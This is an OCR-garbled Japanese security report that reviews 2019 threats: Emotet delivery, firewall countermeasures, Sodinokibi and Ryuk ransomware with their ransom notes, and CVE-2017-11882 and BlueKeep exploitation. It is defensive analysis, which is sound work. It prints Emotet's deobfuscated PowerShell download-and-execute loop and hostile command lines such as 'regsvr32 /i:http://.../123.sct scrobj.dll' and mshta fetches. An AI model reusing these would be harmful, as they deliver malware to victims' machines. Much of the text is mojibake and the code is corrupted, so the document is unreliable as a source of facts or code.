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00472860 79 74 €5 00 00 00 45 58 45 54 20 53 74 75 70 69 yte...ESET- Stupi ¢ Ldata:00472544 aloadstringw  db 'LoadStringh”,0
00472570 84 21 21 21 00 62 43 67 74 BF 67 42 6E 60 65 74 dl 1l bCEZoEEmeT © data:00472550 aMidechartomult db "WideCharTohlult iByte",0
00472880 54 4F 74 7200 00 00 00 EC 1A 28 65 4D 69 6E 67 Z0zr...... (ehinz ° data:00472464 do 0

00472430 77 20 72 75 6E 74 69 60 65 20 66 61 69 BC 75 72w runtime failur . db i

00472440 65 3A D4 00 20 20 56 68 72 74 75 61 6C 51 75 65 er..--VirtualQue - ldata:00472A86 aFsetStupid db 'ESET Stupid!!!’,0 I
00472480 72 79 20 66 61 69 6C 65 64 20 66 6F 72 20 25 B4 ry-failed-for-id Wi T Lol o= il
00472400 20 62 79 74 65 73 20 61 74 20 61 64 64 72 65 73 -bytes-at-addres * | data: 00472485 do 0

00472400 73 20 25 70000 00 00 00 20 20 55 6E 6B BE 6F 77 s-Bp....--Urknow © .data: 00472486 db 0

004728E0  BE 20 70 73 65 75 64 6F 20 72 65 6C 6F B3 61 74 n-pseudo- relocat © data: 00472587 d 0

00472470 69 BF BE 20 70 72 6F 74 6F 63 6F 6C 20 76 65 72 ion-protocol-ver © .data: 00472488 db 0ECh ;

00472B00 73 69 BF GE 20 25 64 2E 0A 00 00 00 20 20 55 BE sion-&d.....-*Un ° data: 00472489 do 1th

00472B10 BB BE BF 77 BE 20 70 73 65 75 64 6F 20 72 65 6T known- ps: rel ° data:00472584 aEmirgwRuntimeF db ' (eMingw runtime failure:’,0h,0
00472B20 BF 63 B1 74 69 BF BE 20 62 63 74 20 73 69 TA 65 ocation bit-size © dataz00472484 db 20k

00472B30 20 25 64 ?F 04 00 00 00 00 00 00 00 00 00 00 00 -&d............. ® | data:00472445 db 20h

2.3.7 Emotet®/\4 FUITIEHIAFN TV FT

4. EMEDFN

IO —%RTITDEN2.4.1DELOIBERHNEFRINET . KRS NBDERICIFRRLTZ/INT -V D TFELE T,
201 9F(CHESR SN2 < DEHRIF. Microsoft ¥ Office 365, Microsoft WordidE A THALIICELET. [OVT
IVOEME]IZIUvIEIEROIETBH D TUR,

| tEWTORS TOFENCENEL, | Trouohe x [ @ trzcoms vorEanILE, | svmR x

Office 365

) Office 365

This docur

1f the file ick Enable Edition and the
Enable

Wiy 0%F (B o7 w W s - ' + 00% Y147 0¥ B O7E w ) s - [ + 110%
D @RS TOIENCERILE | JvsunRit x| @ ERAUFOHE TOMMACINELE. | 3 u0mG 5
Microsoft Office Activation Wizard Microsoft Word

Microsoft Office
) offce

Activaton Wizard

e Word couldn't start last time. Safe mode could help you

troubleshoot the problem.
‘Thank you. Your copy of Microsoft Offce s activated. "
To ke you changes take effect click Enable Editing and Enable Content. To start Microsoft Word in safe mode press Enable Editing
and Enable Content.

Vino 0%F B 0B w i 5 - ' + 00w 1145 0%F B 0B wE s - 1 + 100%
1 CFUT(OBE VOMMENILE. | 120 < | @ wrwscoms vomncnse. | sevomm x
% PROTECTED VIEW il PropucT NOTICE

The action can't be completed because the file is open in Protected View.

Some active content has been disabled. Click Enable Editing and Enable Word hasn't been activated. To keep using Word without
Content. interruption, Enable Editing and Enable Content.

= Type: Microsoft Word Document .
Microsoft Word

Yir-y oxF E vl s s - ' + w0 [ViAY 0xF B 0Pm w W= - ' + 100%

H2.4.1 SdorO0—9—DFKREE
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E28 EmotetDRBRREMHESfESFEEX—IL

AT YARBENEEINTIONETINDE S<DESWMIPrvSe.exefRB TPowerShelllMETaNE T (K2.4.2) .

[Eaiwininit.exe (356) Windows 28-h7vF 7IVr—vav C:\Wi... I Micro. .. NT AU... n/a U
Eliiservices.exe (412) H-P2emh0-5- PIUr-vay C:\Wi... [0 |Micro. .. NT AU... n/a I
! [Elmisvchost.exe (580) Windows #-H2Mi2k JOE2 C:\Wi... n/a
[H®iwmiprvse.exe (2512) WMI Provider Host C:\Wi... n/a [
f=]powershell.exe (2240) Windows PowerShell

|| comman d:_powershell -enco PARJA BIAGBABOQ)

®2.4.2 SorvO0—5—0FOtRAYU—

PowerShellh'=f7 N3 & SEDURLICZ ZZALEMotetD S o O—R%EFET (H2.4.3) . SED LT NHDURL
TEmotetdd D O—RICAING D& Emoteti CRRERULE T,

Bpuveowoi f = 427",
$zzoxurrdsofwp=ferv:userprofile+' ¥ +$puveowo i f+' .exe’; Fovn—REDT 74 ILE
$toaxaixeprh=. ('new-object’) net.webclient: L
Bheczmaw! f="htte: /s (G - . o\ /2chw | /ugw/*http: //clBBE . vn/wo- includes/a/hotof f ice/v2ud0/ 52 MUR
shttps://= I .co/hun/pa/Sun/shttp: //all vl fwp-ine ludes/ez |80n1 /#https: //THEEh . com. tw/wo-admin/Tdbde/ . “selit” ('x');
foreafh($okenxzzwkb in $koozmaw! ) {
try Mk
$toaxajxeprh. "downloadf i le” ($okerxzzwkb, $zeoxurrdsofwe): Fova—F .
if ((.("get-item') $zgoxurrdsofwe).” length” -ge 39608) { FovO—RLEZ7ALOH A XS
[diagnostics.process]: : "start” ($zgoxur rdsofwe) =17
. break:
}eatch{
b
}

X2.4.3 #5EEREDPowerShelld—R

EmotetlCEET 2EBMDEI 21 —)ILRDTILD T 7 HY DV O—RENET,

BIIDEY2—IUICF. [WebT SO —([CREFESNEF ATV NERBRDIBE. [(XA—ILIT A T UNRESNETH
DYVNERBEROBE]. [V AT LADRYNDT—T/)VADT—ROZFE . [Outlook 77 R ZAMRMDEFEL . [Outlook X —)LDE;
B [RIVLA—=)VDEIE] [LANANDREZRAE K] [DDOSKIE |18 E R IR HEREN FELE T 6
FreDOTILDTFELT. NYFUITILDTT (Qbot, Dridex. Ursnif/Gozi . Gootkit. IcedID. AZORult.
Trickbot)¥» > AT 177 (Ryuk. BitPaymer.MegaCortex) R EICER R T 2T REMEN HUFT
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%28 EmotetDRREHESfESFEEX—IL

5 X &R

EmotetD BN LET . EmotetldBL#aEZIRL T2V T4V TNREZRBUOBUPCAICERL - BARULET, LD
U BRI RZTOCE CRAER AR/ BRICHIZ 2 ENT[BE T T . Ko A —RR U B E ThERH/\BRICHD
ZADNERNEETY,

<RRR7ZBRLTZDH DXHR>
F2UTAVITDEAN
EHOEF2UT 1/ \wFOER
RBEA=IVDR T 74 JUPURLIEERN R
NOOZEBMELEN

<BRARDWEZFR/NRICHIZ DTcHDXHR>
REZEELBOREML
LFaUTARUY—ZRE
EHDIoCIERZ AL e AR imARDREE

ESETZRWVCEMotetDF D O—RERFSEF2UT A RUY—DFRED—HFZFBNUET . WindowsDIEEETH O
TRAOEITHIECBEOHENTIRETT

CDEOIRBERT DBEF BHEOPCHERICABNEIRVCEEER T DNENHUET . REEITOIEGIFEEEC
D L BRET D Em#RELET,

F/e . ESETDHIPSICKL . WmIPrvSE.exeh'PowerShell.exexR{19 22 &ETOvI T ENTEET T . UD UL 128
([CHEERUTCEmotetD s D O—4 —I(CIE. WmIPrvSE.exe DEITHRINT 2F CIL—FUEBZE T D0 DN EFEL. EiT %
JOvI95EWord 774 )L EBUDE TERIL— O EEL. BN EL R DO EEEN B IFE T,

O ESETDI7A 77 —)bICKPowerShell ’O A D@EZERT T 2.,
EmotetDAAZES D> O—R7 28FICITHNBPowerShellDhttp@E M Uhttps @S &8’ d 25 EZBNMUET . (%
REEREZITOIZHBEIE PowerShellh S@EDhttpBEH LU httpsBENERTINE T, )
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E28 EmotetDRBRREMHESfESFEEX—IL

FI IS ESETOGUIZRE. [FE] CEHllst CEEZR TR T . sF s EBRE D[RV NI —TRE] -> [T74 7 I4—)L]D
JENDS. FMIDIL—IU [REIZT Vv I ULET , Gk UEDERIFESET Endpoint Security /N\—3> 7.1.2053.1D
SO DBEEKRRCI.)

(@s[E) ENDPOINT SECURITY

samE S @
RHT> S A
PRIz
Ry hO-RE
=L EE o

ESPE T = Ee o

0 Faoeney—rx (]
WEBE X—)L
5/t 23> ha-iL BlDRY N O—27 o
sl TIFAPIA-NTOTFAN o
A-Y—A>5-TJ1—2R

FIUT—S 2> OEBORE o

BIE BOK Frotil

E2.5.1 FHHEREEE

T7A 7 04— )VIL—IVEENRRENZSENZI Uy I LET,

SHARETE - ESET Endpoint Security - (=] ]

I7AT7IDA—=ILL—IL ?
IL—IE T 7 A 7oA —ILHERHET B3Ry M — SEEOIENZEEELET. L—)UL ST ICHi=nES. JL-ILE—BTD
BODT I3 BASNET . a

k1) /) JOrL FOTFAIL FHSa> ABE | O-hl UEC 7

SRCOIN—IERFNERT

X252 TrA7Ur—)LIL—IVEE
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%28 EmotetDRERPEEZESFEX—IL

W=ILDBIID[—#R]Y T T HEBDREIZANL. SAZEHNEE]CEE. 77YavZHES]CLABIHUTOT Rk
DEREZ[ES]CERE. 1T —(CBAZ[BEMICEELET,

(e) %#=%E - ESET Endpeint Security
JL—ILaEN o
E=1-0) PowerShellEEHIE
5
el = v
PO EE v
ZJOoran TCPE KTFUDP v
00
(]
FOIFAI EBOTOT7 A b
il i
OJZROERE =25 bt
- (CiER

E2.53 T7A7Ux—ILIL—ILDEN(—RS T)BE

[O—DILIFTCBEL. 7 FUT =235 [C:\Windows\System32\WindowsPowerShell\v1.0\powershell.
exe]ZRIRLE T,

FEMBETE - ESET Endpoint Security =] u
IL—ILDEE ?
— 0
| °
W=7

| FIUT—>3> &5 C:¥Windows¥System32¥Windowst X

Bilery ™

K2.5.4 T7A7Ix—ILIL—ILOEN(O—HILY D) EE

22




E28 EmotetDRBRREMHESfESFEEX—IL

RISUE—RNI TCBEL. ERTE 2/R—H80, 443]7ZREL. [OK]ZTUvILERT,

(e) F4BE37E - ESET Endpoint Security

IL—ILDfEE 7
Ak 80, 443 [ ]
P o
v—>
3B
i
OK I

®2.5.5 T7rA7Ux—=ILIL—ILDEN(VE—rT D) BE

ENUCREZESRLU. [OKZT Uy I UE T  MEZ(ICINU TRASBREREZEBMNML T EE W,

[

[E)E - ST Endpont Security [ S)
IT7ATIA=ILL—IL

7

LRI 7 A7 IOA— N BRRET BRY FO—URROWETZEEELET. LB NS TFICHEZNET, L-ILE—BIZRNO7 0> 3 NER
EnEy.

Q
= & JOb. JOJr. Po. BE O-hH. UE-h FIVT—>3>

PowershelDEEHE [v| TCPH. HEDT. BE S R—h:80,443 C

&

FRTOILNGERAH TR Frotl

®2.5.6 BREENEDI7A7I4—ILIL—IVEEH
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%28 EmotetDRREHESfESFEEX—IL

REICHHFREBEBERODOKIZIUYI U RERT T T (A—F =AUV NIHBEA H TS LB, [[FL(Y)]ZE

RUTLEEE W)
@SED) ENDPOINT SECURITY
e 2 @
BHETOSY A
FyIF—b
8 =

Ry bO-ORE

=L e (]

IPATIA—N
Ry bO—UBBRE V- e o

0 #FEEhEY—ER o
WEBE X—)L
7/ 23> bO-IL BAIDFY ND—2 o
v-ll

IPAFOA—NTOTF A o
A-H—A>5-TT-2

FIVT—3 3> OEEORE o

BEE Q0K Fr>ul

X257 HEREEE

SEERICEmotetDY OV O—5 —ZRITI 2L I—F—([OBHZEMCLTVZHBEIRF . K2.5.8 DK SITEEMES TN
TeEVSBANEHR T,

(esfEl) ENDPOINT SECURITY v X
A EErEEEnELE

JL—JL: PowerShelldiE{S I
FFUH—= 3% C\Windows\System32y
WindowsPowerShell\v1.0\powershell.exe

ZORAY Do lERS

®2.5.8 T7A7UF—IVICKBEEERDER

Fl BRELOTEHROEREICREVE2.5.90K3COTHEERINET .

SN T SCCORI Y

ENDPOINTSECURITY
Ry hD— R

[5[53
o0 JE

9 30 TCP  Powe
80 TC
443 TCH
443 TC
1681 443 TC

Q) 7su>s

259 JTrA7Ux—)LOOT

Emotetds' 50— —7Tld. PowerShell CEmotetAx#4Z s D> O—R32BDSTH . WScript TJScript 774 )b
EERITULIDVO-RITZHDBERLCVF T MNEICIHO CEEREZRAE T DNENHIFT,
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E28 EmotetDRBRREMHESfESFEEX—IL

FEOH

AETIE, 201 9FDEMotet DIREIRITE A — LD ZEAL BRED RN DOV THBITLE Uz,

2020F BHEmotetDREFHEWVWTH . SHBOIFRDUNETT . X—)L TORAREICFHENTUIPDF. Word. URL
DISHCH. ZiplE S NeX— LR EDERBEINTVE T . e AT T7 1 ILDT D O—9 —(&, PowerShelllZ[3 Ta<
WSCriptZZE2lc 6 DHFELTVE T SBRORLCBFREZAVTRRILKZITOITENEESNE T DT RHDIER
R CHEENERIDIENBETT . RRZHICHDIEZIF TR Emotet DT ILD T 7 HNERL TWLIRWH 7ZFE
BIDLEWB IR DBBRIBINREFIET,

IPA®JPCERT CHEmMOtet(CBI g X BIFENTHNBREH SN TVE T FIcEmotet DRRFEDERZITSY —
IWBBATNTVERI DT HETHERLTIIZE W,

SEN

@ [Emotet] EIFENDTA IV ANDRRRZEIBIA—)UICDWVTIPA JRIITECEAN 1SR IBHEERLS
https://www.ipa.go.p/security/announce/20191202.html

@ TILUIFEmotet"DMMFAQ - JPCERT/CC Eyes | JPCERTO—F 1 x—Y3veyd—p{707
https://blogs.jpcert.or.jp/ja/2019/12/emotetfag.html

@® <I/UUI7 Emotet DRRICEET BRI
https://www.jpcert.or.jp/at/2019/at190044.html

® 2019F108 YLDz 7UR—K | ¥ILDT7IEHRB
https://eset-info.canon-its. jp/malware_info/malware_topics/detail/malware1910.html#anc 02

@ 2019F FHEADVIV DI P UR—NERE | ¥ILD 7 IERE
https://eset-info.canon-its.jp/malware_info/trend/detail/190920.html

® 2019F68 ¥ILIz 7 UM=K | JILDI 7 IERE
https://eset-info.canon-its.jp/malware_info/malware_topics/detail/malware1906.html#anc_02

® 2018F 118 VIV P UMR—K | XILIz7IEHRB
https://eset-info.canon-its.jp/malware_info/malware_topics/detail/malware1811.html#anc_02
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E3F BIBDS VY LDITDER

R
.

BEREECZRBREEZSABDVIIIPORRBELVTCEEEVWS YT LADIFZTIN ZOREFHCAUCEZLLT
WETABTIE 2019505 T ADT 7 OBE-HERT. LEF A MRICOVWTENULE T,

1. 2019FEDS VY LD 7 EEDHLR

[FUHIC 201 9FD S VY AT P HEOBLRZHBITUE T,

20195 DS VY AD T 7 BREHISEIFERRE LR LT . HAERN T88%. 2 A TIE25%1BMLCVET (K

3.1 1B EUM3.1.2) e ZORRDEZL[FGandCrabS P AV TP TY . 2019F FHHITIL O P UR—NTHEA LI
EBY.GandCrablF5 AKICHEFEME TUTHY . FHABICEEEALEASNTLERE Ao
TEHOS VY ADIFREMEEN. BREDICRIFERE R U THBLTWVNE T,

125%
188%,
97%
I I

20184 20194 2018%F 20194 2018%F 20194 20184 20194
LHER EE T THEH E¥HER ¥R THHER T
®3.1.1 SYYLADTI7DESETHERBEE* (EXW) X3.1.2 SVYLDI7DESETHELEL* (1H5R)

* BHB(CFilecoderz 28V )LD T 7 DESETIEL #2201 8EDIRH#Z100%E U THER

3 2019F EFHONILOT T UR—RERE | RILOIT7IERB https://eset-info.canon-its.jp/malware_info/trend/detail/190920.html
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D OTCIRINEFELHNDKE(LEDNDIEN LN 2Ie SV Y AD T TI O 201 9F[FFEDHBR - FEICH U TEDN
DEENLLFEELTVET,

BIC BERPEERREREEEEDSV T —I =R DN EONSEDICHIET .

ZNUTHW G S DEREERENMENL 1 4HUSRAMU EOERENEREINDEHDISNTVET,

20197 AUANICHIFBHENREL CEL<HETNTVE T 6BICEUEISE—FMNHELZ60HNL(TRIL110
& T66000M) .. LA 7T M EKZ465RIL (1R)L110MIRE T5060/5M) DEREZES ISl &M EEREIC
BIFELRE(R31.1). WTNOEBHRBRRICINALTEY . TOEEZEF 1 HRIVEE TH o lcER/UBNTVET
WERSEN 7 AUAICEFULCWVWBREREL T SV T ADI 7 DIREZRKRT DHEMNL V& BRI EZILDME
WIS WBEDENICBO>TVBIED2RNAEZISNFET,

x3.1.1  2019FDF7XRUAGREICSIFTDS VY AV I FREDEH|

AR (3iE) 5 i b Yt 1 SUY LYT 7 OELE BREZIE
3868" IVI—-ITMWNI TV ER Ryuk $440051"
sg78" XU—SYRMRILFEFH | RobbinHood

6858" JOUSMUEISE—F | KEE 1660075
68108" JOUSMLA IV T AT Ryuk 1506075
7A5E" T8 e | R

7878" AVF4T FINSHR—NER Ryuk #14005/m""
78258 OvIEILEYI—D%K | Ryuk #197075 /"

88178 20NFRLLEDHIFEAME | Sodinokibi

88268 #1400N FR D EERIERR Sodinokibi

128168 SEREDER Ryuk

2. BRIRESYYLDIY

2019FICP AU ZRIDNIRREZESIZ2 DD S VY AD T [CDOV T LE T,

@ Sodinokibi

Sodinokibi(ESET#H&:Win32/Filecoder.Sodinokibi. FJ&:REvI) [F2019F4BEBICEB SN VT LADIF T
T, SodinokibiZ T AT F2018FENS 201 9FMRBICHFI TREZE>T L IeGandCrabE DB ICFE N .
BUHEETIL—HERELTVD T A, BULIESodinokibiDIEE T IL—HMEISHh D AETGandCrabDyY —X
I—RZAFULOBEENEZSNF T,
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AT T4wI VT A—=)VDTG T7A )L ZipEfE S NI=SodinokibisEiT 774 L) ZRITI DT ETRET 2EHIDEFN.
iz (CVE-2018-4878713 &) D27 S U —avEFEL TV 1 - —HREDWeb T A MBI HET
Sodinokibin'9' o> O—R-EITINRL T 2BHIBRENHNSNTVET,

All of your files are encrypted!

Find f1iy7i8lq-readme.txt and follow instuctions

B13.2.1  Sodinokibi BR&DFT AT by TEE

| 1iy7i8lg-readme.txt - XE0R - o x

I7UD BEE FROQ RV AIH
---=== Welcome. Again. ===---

[+] Whats Happen? [+]

Your files are encrypted, and currently unavailable. You can check it: all files on you computer has expansion fliy7i8la.
By the way, everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER).

[+] What guarantees? [+]
Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nol
To check the ability of returning files, You should go to our website. There you can decrypt one file for free. That is our guarantee.
If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data, cause just we have the private |
[+] How to get access on website? [+]
You have two ways:
1) [Recommended] Using a TOR browser !
a) Download and install TOR browser from this site: https://torproject.org/
b) Open our website: http:// .onion/
2) If TOR blocked in your country, try to use VPN! But you can use our secondary website. For this:
a) Open your any browser (Chrome, Firefox, Opera,
b) Open our secondary website: http://decryptor. top/739AF84C342E80EF
Warning: secondary website can be blocked, thats why first variant much better and more available.
When you open our website, put the following data in the input form:
Key:
LxpSmDEJe0ga/x++mU 1 1tq+BoEGmvL wappQp0iUjx0 1 SH7NFUNTO7#oNUURUEGP t

F3]Gk8reRTIB6FUBUCB38y838vOPyb IR4p7/Lq7mRE ibFUfUBe/ TZnfa/N2+pHZG
TPBEStyw/wslbduYMcSAS 152 tB0yhd t Wk OkRXwL0a3sGKM | FaEHNN j gUKvAk Oos v

<

B3.2.2 SodinokibiDHREEKRNE

SodinokibiZ#ESKEET IL— LI WEENFREDTIMWEESUBEICIEEED (HE) T —IZA VT —xY
b EICRFTBEBBETOICENHSNTNET,

SRR 2BICHERUIC T Y PV BREERXEDODIC[B L ESESNR) U —N—(DT7A()) ZBHTESLEX
SEUEBEEF BRIEDEHDT —IR—R7EA V5 —RYNMIRET 2] EVWDIEDEHEN H T LI (K3.2.3),
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Extension name:
46075an5
postscript: In case you want to independently decrypt your servers, we will be forced to put the databases of your companies in the public domain.

3.2.3 BHREERXECEHSNXE(12BICHERBLED Y TIL)

SOICRIDT Y FILDEREEREDPIC(E, Customers (BE) D—EBNSFNTUVEL (K3.2.4) . EEICINSD
BN SodinokibilCEREUIED ESNNFENTIFHWEB AN BET )L—FHRERRUICHEBICH U CEZBZE TSI
BRZENEL TV BTN B IE T,

*x Customers
Inc.
Inc

LLC
Ing.
- s Corp.
Inc.
- - LLC
LLC

LLC

- Inc.
and so on......

H3.2.4 BREBERIEROEEROIH (12RICHEELEYVTI)

SodinokibilFEEAFEN RO S VT ADIFD—DTT . SBRZDFENTOICELFELTIIELHEISNTT &
I GERDT —I DESICHTREREZERICNAT. T —I DRHAEMRICBB I 2LV 7 PO—FER>TVET,

@ Ryuk

Ryuk (ESET#&HE#:Win32/Filecoder.Ryuk) (2018FD8BICHERE NS VY ADI TT . HICHRNILKE TEMA
SN BREOEKREIMOS VT ADT P EHRUCEETT,

RERREE(F AT T4 v VT A= )LDIFH AUR—BDFE2E TN UIEmotet A TrickbotZ#RE L TRyuk &2 o >
O—RI2BFNHSNTVET,

RyukICIFR WD —TIREBTHDPCO T 71 )L ZBSILT 21z DIEEEN VK DOMBHD > TVE T MFICIZ—T BB DA
2019FED%E(LBINENIEWake on LANZ{FEH T 2#EETI . Wake on LAN(FRYND—J(CEHFSNIEPCOEIR
EREECANDIEHDFRM T READIL—I —RBECHEBEHINTVET,

RyukIFREREPCDARPT — 7 IUICEFEET 2Ry b T —7 LDRIDPCICH LT Wake on LAND/NT Y (XTI /8 wis)
ZRIEL. ZDPCERBENSEF T (KM3.2.5) CNUCKW . DEBHEBREMNASTWVWLENSIEPCED T 71 ILZEEBSIET BT
ENVOTREICRUE T,
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[El Ele View Debug Plugins Options Window

RO T K ST JJ!JLI _I_I=It LI} skd)

30003FA] . BA 0200000(MOV EDX,2 “ |Registers (FPU)
30003FA| . 66:8955 CO MOV WORD PTR SS:[EBP-40],DX EAX 00000140
30003FA| . 8B45 @8 MOV EAX,DWORD PTR SS:[EBP+8] ECX
3000378 . 50 PUSH EAX pAddr =| eox [e161FET0]
3000376 . FF15 D8810:CALL DWORD PTR DS:[<&MS2_32.#11> Linet_addr EBX 00000000
30003FE| . 8945 C4 MOV DWORD PTR SS:[EBP-3C],EAX £sP [6161FCCE
3000376 . 6A 07 PUSH 7 [etshort = 7 EBP 0161FF18
3000376 . FF15 D4810;CALL DWORD PTR DS:[<&MS2_32.#9>] Lntohs ESI 00000000
30003FC| . 66:8945 C2 MOV WORD PTR SS:[EBP-3E],AX EDI 00000000
30003FC| . C745 EC 0(MOV DWORD PTR SS:[EBP-14],0
30003FC| . 6A 10 PUSH 10 [Tolength = 10 (16.) ETRSSecosEsiey)
3000370 . 8DAD CO | LEA ECX,DWORD PTR SS:[EBP-40] % Co Es 023 32
30003¢ . 51 PUSH ECX EEXDOT RLA P 1 cs ool 32
30003F0| . 6A 00 PUSH © Flags = A @ ss 0023 32|
30003F0| . 6A 66 PUSH 66 Datasize| = 66 (102.) Z 0 DS 0023 32
3000370 . 8D95 SBFFFILEA EDX, woun PTR $5:[EBP-AS] . S @ Fs 0038 32|
52 =EXwvt— To Gs @000 NU|
. 8845 F4 MOV znx woun PTR $5:[EBP-C] BEXYE—Y Do
U Socket 00 Lastérr ER
. FF15 BC810: : .#205 Lsendto =
EFL 00000206 (N
BE:EF:CO:FF:EE: 00(;31?5 STo enpty 0.0
?/ua)(bu k (102bytes) e
- BBRIE 00000140 || socked]

0161FE70 % 0161FCCC| @161FE70 || Data o

0161FE78 0161FCDO| 00000066 || Datasi
0161FESQ 0161FCD4 | 00000000 || Flags
0161FESS % 0161FCD8 | 0161FEDS || pTo =
0161FE90  |CO FF EE 00 BE EF CO FF||Ayi 0161FCDC | 00000010 |LToLeng
0161FE98  |EE @0 BE EF Co FF EE 09| 0161FCEQ| 02020202
0161FEA@  |BE EF CO FF EE 00 BE EF 0161FCE4 | 536E6957
0161FEAS  |CO FF EE 00 BE EF CO FF||Aji 0161FCES | 206B636F
0161FEBO i @161FCEC| 00302E32
0161FEBS ©161FCFO| 77C3594E |RETURN
0161FECO 0161FCF4| 00270000
0161FEC8 0161FCF3| 00000000
0161FEDO 0161FCFC| 00004000

o161FE08 0161FD00 | 00270000
0161FD04 | 00000001
0161FD08 | 00000004
0161FDOC |

0161FD10 | 0028430
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4 CVE-2017-11882 | The MITRE Corporation  https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-11882

5 CVE-2017-11882 | Microsoft Office DAEUBHBDIESFH | Microsoft https://portal.msrc.microsoft.com/ja-jp/security-guidance/advisory/CVE-2017-11882
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-/ EQNEDT32.EXE (4860) "C:¥Program Files (x86)¥Common Files¥Microsoft Shared¥EQUATION¥EQNEDT32.EXE" -Embedding
FIMsHTa.exe (3700) MsHTa http:// /hta &AAAAAAAAA-AC

®4.5 Win32/Exploit.CVE-2017-11882MD%E)

45T HHXITT 9 — (EQNEDT32.EXE) h'oMicrosoft HTML Application Host (MsHta.exe) B F Ot X
EUTERIN. CACY —N—EDBEZHHF CVBDTENDONIF T RITIND I—RICFERLBZDHDHHEERINTL
FIN ZDELFCRCH—N—EBEZTV. T7AIVPRIVU TSNS OV O—-RUEITIT2HD T,

6 Microsoft Security Intelligence (@MsftSecintel) on Twitter | Twitter  https://twitter.com/MsftSecintel/status/1137118977983897600
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-I §EQNEDT32.EXE (4256) "C:¥Program Files (x86)¥Common Files¥Microsoft Shared¥EQUATION¥EQNEDT32.EXE" -Embedding
— @CMD.exe (2168) CMD /cstart ¥¥ ¥s¥ap2.exe & DDDDD+ac

Regsvr32.exeh 5CRCH—/\—EDAOVUT hEEFTKDLLI7)LEFD>O0— R
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# regsvr32.exe (4636) regsvr32 /u /s /i:http:// /123.sct scrobj.dll

O RTJO>T bhsO0—hILEDT 71U (calc.exe) 1T [PoCOARHTHER]
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mEconhost.exe (2892) ¥2?2¥C:¥Windows¥system32¥conhost.exe Oxffffffff -ForceVl
[lcalc.exe (4248) calc.exe AAAAAAAAAAAAAAAAAAAAAAAA-C
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RSN TVETD,
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ARIVDT 7 HBAT BHEEFEE. Microsoft JE—~FRI My Y —ERCHEET DUE—NTCI—RIRITINDIEHM
(CVE-2019-07087) TF . KAE5H 1% IF. BlueKeep LI FNTWE T AEE/ SwF (&, 201 9FESBICARTNTVET,®

SEEESS

2019%F 20204

4.7 RDP/Exploit.CVE-2019-0708 DEMIEL#H#E

7 CVE-2019-0708 | The MITRE Corporation  https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-0708

8 CVE-2019-0708 | UE—hk FRI~T B—EXDUE—RTCI—ROETEINBEHH | Microsoft
https://portal.msrc.microsoft.com/ja-JP/security-guidance/advisory/CVE-2019-0708
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X4.8 BlueKeep®PoCZHUW ARITIER

REEAICAWVZPOCTIZ. BlueKeepDEEZHERL. BAZHA#F T, BANMKINTZLIYYRIOY N ETEED
I—RZEETIBIENTREICRIE T . AR CTIF WEBERANOBSEZRTIETLET (K4.8),

@ MR

RSN ZEBRATIRENDROEANBNERIF EE/NNYFZERTDIETT . ZDIHICIF BN TERLTLZY D
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9 PoC (Proof of Concept) | Lo 71E#HE  https://eset-info.canon-its. jp/malware_info/term/detail/00008.html
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AETHBN UBlueKeep [CBUTIF ESETH'OESSH DB EZHR T LN TE2DY—IUIESET BlueKeep (CVE-
2019-0708) vulnerability checker| W R TABESNTLET,

X4.9 ESET BlueKeep (CVE-2019-0708) vulnerability checkerD&{TEE

BlueKeep T U THRFERIBEF AEIE/NvF DI DO YO—RATR—bEINE T BlueKeepZB AT 2HEFSE DilkiR
FBENTRINDIeD. AY—)LEAVNTHERIT D EAHRELET,

10 It's time to disconnect RDP from the internet | We Live Security
https://www.welivesecurity.com/2019/12/17/bluekeep-time-disconnect-rdp-internet/#eset-bluekeep-detection-tool
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Another Hacked Florida City Pays a Ransom, This Time for $460,000 | The New York Times
https://www.nytimes.com/2019/06/27/us/lake-city-florida-ransom-cyberattack.html

Georgia county paid $400K to ransomware hackers | StateScoop
https://statescoop.com/georgia-county-paid-400k-to-ransomware-hackers/

Baltimore city government computer network hit by ransomware attack | THE BALTIMORE SUN
https://www.baltimoresun.com/politics/bs-md-ci-it-outage-20190507-story.html

NOTICE TO THE PUBLIC : The City has experienced a data security event | City of Riviera Beach
https://www.rivierabch.com/news/?FeedID=604

"Triple Threat' cyberattack cripples City Hall in Lake City | WJXT News4JAX
https://www.news4jax.com/news/2019/06/10/triple-threat-cyberattack-cripples-city-hall-in-lake-city/

MAYOR DISCUSSES IMPACT OF RANSOMWARE ATTACK ON NEW BEDFORD'S COMPUTER SYSTEM | New Bedford City
https://www.newbedford-ma.gov/blog/news/mayor-discusses-impact-of-ransomware-attack-on-new-bedfords-computer-system/

LaPorte County government hit by malware attack | WNDU
https://www.wndu.com/content/news/Malware-attack-affects-LaPorte-County-government-512405312.html

La Porte County pays $130,000 in Bitcoin as ransom to hackers | WSBT-TV
https://wsbt.com/news/local/la-porte-county-pays-130000-in-bitcoin-as-ransom-to-hackers

Rockville Center School District pays $88,000 ransom | SC Magazine
https://www.scmagazine.com/home/security-news/ransomware/rockville-center-school-district-pays-100000-ransom/

Personal information from your dental records could be at risk | WISN
https://www.dentalrecord.com/assets/images/media%20statement.pdf

Marine Safety Information Bulletin | U.S. Coast Guard
https://www.dco.uscg.mil/Portals/9/DCO%20Documents/5p/MSIB/2019/MSIB_10_19.pdf

Ryuk | NJCCIC
https://www.cyber.nj.gov/threat-profiles/ransomware-variants/ryuk
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